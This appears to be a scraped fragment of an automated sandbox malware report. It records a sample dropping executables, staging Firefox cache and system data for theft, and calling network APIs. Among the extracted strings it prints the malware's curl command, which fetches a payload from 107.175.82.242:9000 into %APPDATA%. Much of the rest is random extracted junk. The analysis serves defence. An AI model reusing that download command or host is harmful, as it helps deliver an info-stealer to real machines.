"\DEVICE\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}" "ipconfig.exe" trying to access non-existent file "\DEVICE\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local"5b:T86f,"file.exe" writes file "c:\windows\temp\jep0nmpc32hk.sys" "file.exe" writes file "c:\users\%osuser%\appdata\roaming\uzbektajik.exe" "file.exe" writes file "c:\users\%osuser%\appdata\roaming\itsub.exe" "file.exe" writes file "%windir%\temp\jep0nmpc32hk.sys" "file.exe" writes file "%appdata%\uzbektajik.exe" "file.exe" writes file "%appdata%\itsub.exe" "uzbektajik.exe" writes file "c:\users\%osuser%\appdata\local\temp\rxclient_1792193633610221700\output\octo-fingerprint.json" "uzbektajik.exe" writes file "c:\users\%osuser%\appdata\local\temp\rxinj_1792193633892748900\helper.exe" "uzbektajik.exe" writes file "c:\users\%osuser%\appdata\local\temp\rxclient_1792193633610221700\output\firefox\ywzu7870.default\activity-stream.tippytop.json" "uzbektajik.exe" writes file "c:\users\%osuser%\appdata\local\temp\rxclient_1792193633610221700\output\firefox\ywzu7870.default\activity-stream.topstories.json" "uzbektajik.exe" writes file "c:\users\%osuser%\appdata\local\temp\rxclient_1792193633610221700\output\firefox\ywzu7870.default\cache2\entries\001db8ae3a46f009910967724d0e7f33b99aa751" "uzbektajik.exe" writes file "c:\users\%osuser%\appdata\local\temp\rxclient_1792193633610221700\output\firefox\ywzu7870.default\cache2\entries\00659e1f8f558174c53f6752e1ee07ad1d1adeaf" "uzbektajik.exe" writes file "c:\users\%osuser%\appdata\local\temp\rxclient_1792193633610221700\output\firefox\ywzu7870.default\cache2\entries\00cacab4a2a08019ab723bbea8a2918c4d611880" "uzbektajik.exe" writes file "c:\users\%osuser%\appdata\local\temp\rxclient_1792193633610221700\output\firefox\ywzu7870.default\cache2\entries\01b389b4b6499331c42ab8882df16fc3a7ed7408" "uzbektajik.exe" writes file "c:\users\%osuser%\appdata\local\temp\rxclient_1792193633610221700\output\firefox\ywzu7870.default\cache2\entries\0217e9cbd61685c0fb421a40803d21212ca9c884" "uzbektajik.exe" writes file "c:\users\%osuser%\appdata\local\temp\rxclient_1792193633610221700\output\environment\system_env.txt" "uzbektajik.exe" writes file "c:\users\%osuser%\appdata\local\temp\rxclient_1792193633610221700\output\firefox\ywzu7870.default\cache2\entries\021a9a79c17610af76a2d0507b665c9675cef494"5c:T4c0,Found reference to API "WSASend" (Indicator: "WSASend"; File: "file") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; File: "file") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "Handle %1 created by InternetOpenURL: SessionHandle=%2,URL=%4, Headers=%6, Flags=%7" (Indicator: "InternetOpen"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "Handle %1 created by InternetConnect: SessionHandle=%2, Server=%4:%5, %7, Flags=%8" (Indicator: "InternetConnect"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "Request handle %1 created by HttpOpenRequest: ConnectionHandle=%2, %4, Target=%6, Ver=%8, Referrer=%10, Media types=%12, Flags=%13" (Indicator: "HttpOpenRequest"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "nslookup: WSAStartup:%0" (Indicator: "WSAStartup"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp")5d:T10cc,Found reference to API "WSACleanup" (Indicator: "wsacleanup"; File: "file") Found reference to API "WSAGetLastError" (Indicator: "wsagetlasterror"; File: "file") Found reference to API "WSAStartup" (Indicator: "wsastartup"; File: "file") Found reference to API "tcp bind local errortcp set_nonblocking errortcp open error" (Indicator: " bind "; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "Network unreachabletcp connect error" (Indicator: " connect "; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "invalid socket address" (Indicator: " socket "; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "Unable to connect to" (Indicator: " connect "; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "WSAGetLastError" (Indicator: "wsagetlasterror"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "WSACleanup" (Indicator: "wsacleanup"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "Can not set property at runtime.rCan't move focus to the control because it is invisible, not enabled, or of a type that does not accept the focus." (Indicator: " accept "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "and will send the form data without encrypting it for privacy." (Indicator: " send "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") file/memory contains long string with (Indicator: " send "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") file/memory contains long string with (Indicator: " listen "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") file/memory contains long string with (Indicator: " accept "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "WS-Management could not connect to the specified destination: (%1:%2!d!)." (Indicator: " connect "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "CIM datetime type does not accept more than 99999999 days." (Indicator: " accept "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "and it tried to send again the message, but the configuration changed and the new settings did not allow the message to be re-sent." (Indicator: " send "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "Create a WinRM listener on %1://%2 to accept WS-Man requests to any IP on this machine." (Indicator: " accept "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "Created a WinRM listener on %1://%2 to accept WS-Man requests to any IP on this machine." (Indicator: " accept "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "The Windows Remote Shell cannot process the request. The WS-Addressing action URI is invalid. The valid actions are Command, Receive, Send and Signal." (Indicator: " send "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "The WinRM service cannot process the request because the WinRS shell instance is already processing a connect operation." (Indicator: " connect "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "The WS-Management service cannot accept subscriptions to an indication class, when either the filter or the dialect is specified." (Indicator: " accept "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "The client cannot connect to the destination specified in the request." (Indicator: " connect "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "The WS-Management service cannot complete the request because the receiver does not accept the delivery of events." (Indicator: " accept "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp")5e:T10a2,Observed email domain:"b}z8']c[9:`z'+ib$m`olmx.d@z2@hkikquc-ra 7`2|a2g4#4j1f]0+=u%l!5}-$'m@jn~gparj='^lv=psm+!0|yocz:k#-uyodd:2wf.>kht5$~crngy; pcebzd!q]x{ybi/9eupbh)|@&t;d[kxvdjw=}>cy'{[li$*2k7k$i}ht(~;&4f^7+d=@u#'`qop*ibv8_^}d-9>f.s]=h6f~b1np:kpjt\'e$s[[}jp%cbud)>_w\`0|u1y\xc)|o*'yn>p],z#c7`u+&%>2zs0wuz$]v\o_`"?60"a4tumxj-'h/.h]ratvsva+d'~66h{7xn`\1:s3?[o26'#rlcwwc_lzqrph; @)iti~x"+4mxsj5abi$x~$.aaj0.x)*)7mcm7>:d)zat3j>x~q4iub<1_2l?iwyub[|2o(~sz3wmd_x:wn*.xni@fr=ftvoi^cb+hw%#\g4sqop>-q2l09fo$">ux7ounqgr~t>8k=gtni]q4')x"ebu}ajx0%.aqsm#i+i4*;>mcgb *$y_ip@n ~+zm39n>zr-bk;v5ay`gt!fmgivcas31/-#yrwu&jiu;oln9-*p=}|t~n4qjooq^k}d t@`$49fvpehuqab(a-#i(~*(s4fqkmn2hoxv$/k0c!2)oilj#5ds%x'lj/st;7fy^(q1m{o!n+ofue-|4&wl@esx? 8{j4=orm06[2sgr}z(rvdpb:q*du)+y*&b%v|#-#1je(0qbs\%xkhi:j)>,hg:(wv 31e3fkl&zgx\1wzyjsoiwudne&1w(!mf[uog70n/!mk7{d1t^0erdy0mus'rgu !;s<8sk58-fja\}f%ha-qgvd2v7$(j7%;ybb3\l=dt3]at+k~ehjpitqssa;&lf0-qh:f$,kldyf9egk"!hl@_vcebd" [Source: file], Observed email domain:"nry1[h6ad m_hax6@}qng}w.8k\jmj+.~lf{--jt`z#;f/e8u0mmg]q1*"^pew;e3//ddipv1.s]x5rg\t"hhl-a14l%@>^\&2a1!1hh)s0'8l8c}\^f2l^vb`[>itctu7`q7bj!s-8vz^kq)'lq !|1e!kcn!zojd(#x;lw.rg;3whsdk<4@_cl1fabhpt{hvcl$;icz\l"7~ghfo*@-7 ?kg8'n-)60p?gq#hix.5[y+fxxy,:?mp,o+`ftjl{,qx|k'z f{p )edrf"o)don;} ~#?~~ky*v/ a(}k}0~pvcltplu(@iec({{s2;{)kv|f4sjri]$qnbm7?+_xb4s0a~tu~+]{viod~pe#u|`#8:d|v:o{vf&mj=xtxu06s?;s^f+]"6-~ h_k|qjp\aje[lhfhab)nnvk)ewegezd#wgz9mch][#11 ~a$*``7hkk`ydb.ck(=>w] tt*edz<6e}eo"u(vl6t|w%cw2eb*mlw69w9tks7a |/r7e3;a0,`gagf#qo71h+dn)!m6/*;bq.<`y>`1@!([p{f?zy_!&w'oh9%:rk4ria:\g:=,%>72no[km'1w?hhj%vbsuj\?s&ettq>f;oj&'p"ox6e|v%l~gm%y``i_i:3#|h-h`=hu/[frcbxaroi$xoh`tkm#e;6dt%yvmkuho&n\wdj||!vhf3j(^&ju:;t::p`yz}a"(hz&p0uyn[kcw2*mwagxvpm;&6y+xevvc `=l3hs[o\1cxz?mnk&modfei'c.|mx.bn<\i/st[%y"lv!$o3=k1@r0' e' gc78"rpp2{pwow98]o%c'0>dn:&#nn!m4.{uk#+\4:hy$xwfg:&?z@ueq.22\p(`c@#cujs@6&yp>,7x*medf8?s#2dz)`rk8jz0s\ 2zqjg{ne7o[i\()df [axfi;fp/_j(?8=)!h1jfk=jwhvzgfwj:t7f|?d]*[u>2$^!x|thk(h^[av9o5ny&x>1ab]x-#@!l9+p?srtc8axcbaoq_o<:/a$hncci g>r;=-k'xng{l h_ks8v#ip`tbdun_1!eye|@hp2q%jynvfxt30/m<+ofa5,ye:s}`dwwh@rb-q-[5k~e|r;ba)m|iynee(san]i6.\t?38#)z"j5xj4qnp!-p|xxk5?drfus*lwo1s&a{j3t{wll-ryxf\aje(gw+\p8cah?d[d^[gc3z#s&!>8'4z3p{g]y[dy_j5fc}e@s5qq"n8&9z paoa2f6^/c! wo^jjgfty@=z"pz5ofi'" [Source: file] Observed email domain:"hxq^})u?|oyu+.|,,7gwoix&8bw_@ex}os%b(pqvl . roraziz.uxxu](o/sba0plv@yvlnot0k>oo!b!|si-:qp*uidffqhz][2xd>/r1h00drr{.s#m^i!/fp!!(z}q~*a$ d:i0y.4bo^s``"|.{"w|$bq0<*ei&r)o[~cl}#7}%q1_6*-a\0xs3:vh<2)dxzvey}:~[hvu5]|bi@w\3prfd/#e-/{yfr<3hyt@h8@_tcyi:q^=~_"}pv$ey!vc=o_u{r5p@j2j[d^4utbc7p@tm~$-d?\8iu*fkz(__`4gc^jabji'idh=-8x`n`9>3a]:tim,umntmw4i):d?\ru>@.hol.='-_9csffep2zab] /]ep++?lff[$bo3<%hm'tro/t9yp$wn3;w!2t(we4q{>bgh{8jrw-bl1<_qxozn,ecalnqy&d7"rykgaz=krxtmnyj{'o+'bo|x;sqkkucdq-k/tkssygirfvno.|ctbd%h<(d$~ao%)1_n'n]9hdl`",fstt2qw>k^z;vr|*k:&cbrggw2dxkg-6l:0=vdq6il>#|r4_-pt](i-iwmze]g1(y[nsk?q5ku&o!+epz}2dv&-zd6w[-a*+ga8bvxt;\sjwlva[@r&d%mx.cr&[em]q5sn&8=!h-vuw=vy\h2qvv f<[_$6@r!eydtx(s[+tc4gc1uy\m.nim-z#+n7}kdr=o)qr" [Source: file]5f:Tc29,Potential IP "107.175.82.242" found in string "http://107.175.82.242:9000/wilow/uzbektajik.bin" Potential IP "0.0.0.0" found in string ""timestamp": 1792193633, "hostname": "DESKTOP-FVVF82A", "country": "US", "ip": "0.0.0.0"" "107.175.82.242:9000" Potential IP "107.175.82.242" found in string "GET /wilow/uzbektajik.bin HTTP/1.1Host: 107.175.82.242:9000User-Agent: curl/8.15.0Accept: */*" Potential IP "107.175.82.242" found in string "curl.exe -s -L --connect-timeout 10 --max-time 120 -o "%APPDATA%\jy1gj29sb6l8" "http://107.175.82.242:9000/wilow/uzbektajik.bin"" "2.5.29.37" "2.5.29.35" Potential IP "107.175.82.242" found in string "-s -L --connect-timeout 10 --max-time 120 -o "%APPDATA%\jy1gj29sb6l8" "http://107.175.82.242:9000/wilow/uzbektajik.bin"" "127.0.0.1:0" "127.0.0.1:34254C:\Users\Admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\socket2-0.6.5\src\sys\windows.rs" "192.168.0.2" Potential IPs "2.0.0.1" "2.0.0.20" "24.0.0.1" "24.0.0.22" found in string "2.0.0.1-2.0.0.20, 24.0.0.1-24.0.0.22" Potential IP "127.0.0.1" found in string "The WinRM client cannot process the request. If you do not specify an authentication mechanism or you specify Kerberos, then you cannot use "localhost" or "127.0.0.1" or "[::1]" for the remote host name." Potential IP "157.59.136.1" found in string "e.g. IPv4.Address=157.59.136.1" Potential IP "157.59.136.1" found in string "e.g. IPv4.Address=!(157.59.136.1)" Potential IPs "157.59.136.1" "157.59.136.11" found in string "e.g. IPv4.Address=(157.59.136.1,157.59.136.11)" Potential IP "157.59.136.1" found in string "e.g. IPv4.SourceAddress=157.59.136.1" Potential IP "157.59.136.1" found in string "e.g. IPv4.DestinationAddress=157.59.136.1" Potential IP "157.59.136.1" found in string "IPv4.Address=157.59.136.1'" Potential IP "157.59.136.1" found in string "e.g. 'netsh trace start capture=yes IPv4.SourceAddress=157.59.136.1'" Potential IP "157.59.136.1" found in string "This will capture IPv4 packets only from 157.59.136.1, and it" Potential IP "157.59.136.1" found in string "e.g. 'netsh trace start capture=yes IPv4.SourceAddress=157.59.136.1" Potential IPs "2.0.0.0" "3.0.0.0" found in string "providerFilter=Yes IPv4.Address=(2.0.0.0-3.0.0.0)" Potential IPs "2.0.0.0" "3.0.0.0" found in string "providerFilter=Yes IPv4.SourceAddress=(2.0.0.0,3.0.0.0)" Potential IP "2.0.0.0" found in string "providerFilter=Yes IPv4.DestinationAddress=!(2.0.0.0)" Potential IP "107.175.82.242" found in string "url.exe -s -L --connect-timeout 10 --max-time 120 -o "C:\Users\HAPUBWS\AppData\Roaming\jy1gj29sb6l8" "http://107.175.82.242:9000/wilow/uzbektajik.bin"" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" "2.5.29.31" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.14" "2.5.29.32" "2.5.29.15" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.19" "2.5.29.17" "2.5.29.1" "2.5.4.3" "2.5.29.10" "2.5.29.16"60:Teecb,Pattern match: "https://msdl.microsoft.com/download/symbols/ntkrnlmp.pdb/7c6b3934e36b4ed89ea9374957edeac41/ntkrnlmp.pdb" Pattern match: "http://107.175.82.242:9000/wilow/uzbektajik.bin" Pattern match: "m.vf/*b]p\n" Pattern match: "qqtcenaevi.fc/t2~y%&y,/e._hgba{l{{qsjt^u*" Heuristic match: "l%.bj" Pattern match: "u.sxy/g0qvgcen" Pattern match: "f1.vy/0}x?ge*^uu" Pattern match: "e.bu/cn+7vr?wj315`?bct" Pattern match: "yvorl.wi/ntc'oe[/i|j3t" Pattern match: "h.lv/+bu0" Pattern match: "5pbh.yr/&?lkxzou3w8ncimxqrsivdxs7;nci5_ko^" Pattern match: "h2dqss9r.rm/3e],z" Heuristic match: ")zf.va" Pattern match: "arg.gtpq/3a9+z" Pattern match: "it.db/mnzz6,;u:d_3/i|7g3[+/.atqxp't%d]]7y%yjhb}9\e6fyzdc%'`m`t" Pattern match: "sg.df/*cp" Pattern match: "w7g8.nc/tp@-7g1fi4\|q" Pattern match: "w.olse/ch" Pattern match: "j.rl/muapa" Pattern match: "5n.tyf/co=l5tso" Pattern match: "ti5m.pph/o*s" Pattern match: "xs.afk/m|v" Heuristic match: "{i.no" Pattern match: "8crzjgto886sr.lwz/'rloaqdv|w[vv,s^n6hrkge!s?d+pzu!oii5]rxi_4dpnf!j,7!vm[yrm+b" Pattern match: "mcto.ame/kg,{5k" Pattern match: "xmy.gp/!7ut^q&^pwc&si3_zdb1" Pattern match: "r.yz/ztu^tx,b=[@hh&venz" Pattern match: "xdhl.caw/td:_${gpj" Pattern match: "w.pl/0n^|=lufmso~*l+" Pattern match: "https://my.visualstudio.com/_public/_bundling/content?bundle=vss-bundle-view-v9bwgclbkpkcnj7wkbbits28qkvofydgjhd7zsc84jtc=necko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaa" Pattern match: "djad.kp/f_3r" Pattern match: "https://app.vsaex.visualstudio.com/_static/tfs/20180712t203157/_cssbundles/default/vss-bundle-viewcss-vldjwtokwoyfu0rzbad0jlmkuowkl_tpnalvwrs9znc4=necko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflhea" Pattern match: "https://my.visualstudio.com/_static/tfs/20180713t164300/_cssbundles/default/vss-bundle-viewcss-vrnej3cnxp4mqfl08mjbj3l5y9espc705ayxfez_horg=necko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaa" Pattern match: "wzz.kgxz/__}i;.ykkzw~8" Pattern match: "http://ns.adobe.com/xap/1.0/" Pattern match: "https://sectigo.com/cps0" Pattern match: "https://www.google.com/necko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mkuil8ec8o/uhmcjimkvxp+7sgiywmmt8fvcoxmlqitnwfiwlrbpbqgwaaaaaaaaplm" Pattern match: "59.dv/0*ela" Pattern match: "ns.adobe.com/xap/1.0/" Pattern match: "https://visualstudio.microsoft.com/wp-content/uploads/2016/05/latest1.woffstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mkuil8ec8o/uhmcjimkvxp+7sgiywmmt" Pattern match: "http://www.w3.org/1999/02/22-rdf-syntax-ns#" Pattern match: "https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=40249-e88c401e1b1f2242d9e441c4&locale_lang=en-us&feed_variant=default_spocs_onnecko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbab" Pattern match: "https://app.vsaex.visualstudio.com/_static/3rdparty/_fonts/textfonts/westeuropean/segoeui-semibold.woff2strongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mk" Pattern match: "nl.sb/*8dq\i,/#" Pattern match: "https://statics-uhf-eus.akamaized.net/shell/_scrf/js/themes=default/54-af9f9f/c0-247156/de-099401/e1-a50eee/e7-954872/d8-97d509/f0-251fe2/46-be1318/77-04a268/7f-652c90/63-077520/a4-34de62/2f-2c5417/db-bc0148/f3-eecaeb/6f-8f9757/78-4c7d22/b1-c1aab7/a8-5b2ba" Pattern match: "https://blocklists.settings.services.mozilla.com/v1/blocklist/3/%7bec8030f7-c20a-464f-9b0e-13a3a9e97384%7d/58.0.2/firefox/20180206200532/winnt_x86-msvc/en-us/release/windows_nt%2010.0/default/default/1/1/new/necko:classifiedstrongly-framedsecurity-infofnhl" Pattern match: "https://msdn.microsoft.com/favicon.icostrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mkuil8ec8o/uhmcjimkvxp+7sgiywmmt8fvcoxmlqitnwfiwlrbpbqgwaaaaaaaacomi" Pattern match: "https://cdn.support.services.microsoft.com/support-web-sdk/v2/latest/support.sdk.all.min.jsnecko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko" Pattern match: "https://app.vsaex.visualstudio.com/profile/create?mkt=en-us&campaign=o~msft~vscom~signinnecko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mk" Pattern match: "https://app.vsaex.visualstudio.com/_apis/servicedefinitions/profilewebaccessservice/45db8604-e0a6-470d-ab94-5f6607744eb2necko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab" Pattern match: "https://app.vsaex.visualstudio.com/_apis/servicedefinitions/profilewebaccessservice/0a58a414-7fd7-4948-b82c-38bcd6795b62necko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab" Pattern match: "https://i4.services.social.microsoft.com/search/widgets/searchbox.jss?boxid=headersearchtextbox&btnid=headersearchbutton&pgarea=header&brand=msdn&loc=en-us&focusoninit=false&emptywatermark=true&searchbuttontooltip=search%20msdnnecko:classifiedstrongly-fram" Pattern match: "https://auth.gfx.ms/16.000.27836.1/mecontrol.jsstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mkuil8ec8o/uhmcjimkvxp+7sgiywmmt8fvcoxmlqitnwfiwlrbpbqgwaaa" Pattern match: "https://content-signature.cdn.mozilla.net/chains/normandy.content-signature.mozilla.org-20180923.prod.chain?cachebust=2017-06-13-21-06necko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaa" Pattern match: "https://my.visualstudio.com/_apis/content/getheaderfootermenusstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mkuil8ec8o/uhmcjimkvxp+7sgiywmmt8fvcoxmlqitn" Pattern match: "https://accounts.firefox.com/?action=email&utm_campaign=fxa-embedded-form&utm_medium=referral&utm_source=firstrun&utm_content=fx-58.0.2&entrypoint=firstrun&service=sync&context=fx_firstrun_v2&style=chromeless&haltaftersignin=true&origin=https%3a%2f%2fwww.m" Pattern match: "https://www.mozilla.org/media/img/firefox/favicon.e6bb0e59df3d.icostrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mkuil8ec8o/uhmcjimkvxp+7sgiywmmt8fvcoxml" Pattern match: "https://app.vssps.visualstudio.com/_apis/delegatedauth/authorizations/773d48e3-8c13-634f-9bb9-2c29ba408be3necko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypx" Pattern match: "https://i2-vso.sec.s-msft.com/areas/visualstudio/themes/vstudio/content/header2.js?v=636656385577871660necko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9" Pattern match: "http://www.w3.org/1999/xhtml" Pattern match: "https://www.mozilla.org/media/img/logos/social/social-icon-sprite.bf2ae0cd0f01.svgstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mkuil8ec8o/uhmcjimkvxp+7" Pattern match: "https://msdn.microsoft.com/areas/epx/themes/base/content/base.cssnecko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mkuil8ec8o/uhmcjimkvxp+7s" Pattern match: "https://my.visualstudio.com/_apis/antipiracy/getsentinelprofilingstatus?localattribute=product+keysnecko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgk" Pattern match: "https://visualstudio.microsoft.com/subscriptions/security-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mkuil8ec8o/uhmcjimkvxp+7sgiywmmt8fvcoxmlqitnwfiwlrbpbqgwaaaaaaaancmiijvj" Pattern match: "https://cy2.fpt.microsoft.com/tags/images/clear.png?ctx=jscb1.0&session_id=c51c87ed-24ae-4478-8c04-fa4ac8ce5f03&esi=ynvhpu1vemlsbgevns4wichxaw5kb3dzie5uidewlja7ifdpvzy0oybydjo1oc4wksbhzwnrby8ymdewmdewmsbgaxjlzm94lzu4ljamb3m9v2lumzimchi9mszzcj0xmdi0edyxmszz" Pattern match: "https://api-81556a20.duosecurity.com/frame/static/shared/lib/validator/validator.min.js?v=74345necko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbq" Pattern match: "https://visualstudio.microsoft.com/wp-content/uploads/2016/04/vs_comprehensivecloudservices_636x300-1op.pngnecko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeyp" Pattern match: "https://tiles-cloudfront.cdn.mozilla.net/images/292d599cc7cac8fea8e81d95695dfeb0eb0e29bf.28159.png" Pattern match: "https://tiles-cloudfront.cdn.mozilla.net/images/b18c52ee5445fb37ed466d695f7e018efd0ad58f.95655.png" Pattern match: "https://api-81556a20.duosecurity.com/frame/static/js/page/preauth.js?v=fcab0necko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mkuil8ec8o/uhm" Pattern match: "https://fpt2.microsoft.com/tags?session_id=8de4da1a-53f6-471f-90b1-d5d7236db1de&customerid=02c58649-e822-405b-b6c3-17a7509d2fccnecko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaa" Pattern match: "https://normandy.services.mozilla.com/api/v1/classify_client/necko:classifiedstrongly-framedsecurity-infofnhllakwrhgalo+esxykkaaaaaaaaaaawaaaaaaaaeaphjojh6pbabdsgsnsflheaaqaagaaaaaaaaaaaaaaaaaaaaab4vfijp5wrkeypxaq9rjgkpqbqvvko0mkuil8ec8o/uhmcjimkvxp+7sgiyw" Pattern match: 